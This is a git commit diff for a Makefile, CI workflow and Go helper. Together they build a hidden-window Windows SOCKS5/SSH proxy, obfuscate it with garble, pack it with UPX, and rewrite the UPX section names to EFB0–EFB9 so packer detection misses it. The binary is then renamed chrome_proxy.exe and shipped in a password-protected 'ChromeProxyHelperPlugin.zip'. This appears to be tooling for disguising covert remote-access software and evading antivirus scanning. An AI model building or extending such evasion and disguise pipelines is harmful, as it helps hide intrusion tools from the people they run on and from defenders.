Create .tiny.exe with -tiny for garble, upx obfuscate, upx ultra compress

This commit is contained in:
Jerry Jacobs 2024-08-01 07:26:18 +02:00
parent 6f72252f35
commit b222aa8e8e
3 changed files with 19 additions and 17 deletions

View File

@ -48,6 +48,7 @@ jobs:
platform: x64
- run: make win
- run: make win-package
- name: Store release artifacts
uses: actions/upload-artifact@v4

View File

@ -21,25 +21,24 @@ socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
upx $@
win: dist/chrome_proxy.exe
dist/chrome_proxy.exe: socks5-ssh-proxy.exe
dist:
mkdir -p dist
cp -v $< $@
socks5-ssh-proxy.exe: resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 $(GARBLE_BIN) -literals build -trimpath -ldflags "-s -w -H=windowsgui -buildid=" -tags windows,release -o $@
# CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui -X cfg.VerboseModeKey=$(RELEASE_VERBOSE_MODE_KEY)" -tags release -o $@
#CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ GOOS=windows GOARCH=amd64 $(GARBLE_CMD) build -ldflags "-H=windowsgui" -tags release -o $@
#upx $@
#go run cmd/upx-obfuscator/main.go $@
dist/socks5-ssh-proxy.tiny.exe: dist resources $(GOVERSIONINFO_BIN) $(GARBLE_BIN) $(SOURCES)
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go generate -tags windows,release
CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++ CGO_ENABLED=1 GOOS=windows GOARCH=amd64 $(GARBLE_BIN) -literals -tiny build -trimpath -ldflags "-s -w -H=windowsgui -buildid=" -tags windows,release -o $@
goreleaser: resources $(GARBLE_BIN)
goreleaser build --verbose --clean --snapshot --id win-release
# goreleaser build --clean --snapshot --id win-release
win-package: ChromeProxyHelperPlugin.zip
ChromeProxyHelperPlugin.zip: socks5-ssh-proxy.exe
cp socks5-ssh-proxy.exe chrome_proxy.exe
#upx chrome_proxy.exe
zip -eP resistanceIsFutile ChromeProxyHelperPlugin.zip chrome_proxy.exe
rm -f chrome_proxy.exe
win-package: dist/ChromeProxyHelperPlugin.zip
dist/ChromeProxyHelperPlugin.zip: dist/chrome_proxy.exe
zip -eP resistanceIsFutile $@ dist/chrome_proxy.exe
dist/chrome_proxy.exe: dist/socks5-ssh-proxy.tiny.exe
cp -v $< $@
upx --lzma --ultra-brute --best $@
go run cmd/upx-obfuscator/main.go $@
file $@
install-deps: $(GARBLE_BIN) $(GOVERSIONINFO_BIN)
$(GARBLE_BIN):
go install mvdan.cc/garble@v0.12.1

View File

@ -4,6 +4,7 @@ import (
"os"
"bytes"
"log"
"fmt"
)
func bytesReplace(data, old, new []byte) []byte {
@ -13,7 +14,6 @@ func bytesReplace(data, old, new []byte) []byte {
log.Println("Found identifier at offset", foundIndex)
} else {
return data
log.Fatalln("Error file is not UPX packed")
}
return bytes.Replace(data, old, new, 1)
@ -31,9 +31,11 @@ func main() {
data, _ := os.ReadFile(filename)
data = bytesReplace(data, []byte("UPX0"), []byte("GSP7"))
data = bytesReplace(data, []byte("UPX1"), []byte("GSP1"))
data = bytesReplace(data, []byte("UPX2"), []byte("GSP2"))
for i := range(10) {
upxIdentifier := fmt.Sprintf("UPX%d", i)
efbIdentifier := fmt.Sprintf("EFB%d", i)
data = bytesReplace(data, []byte(upxIdentifier), []byte(efbIdentifier))
}
_ = os.WriteFile(filename, data, 0666)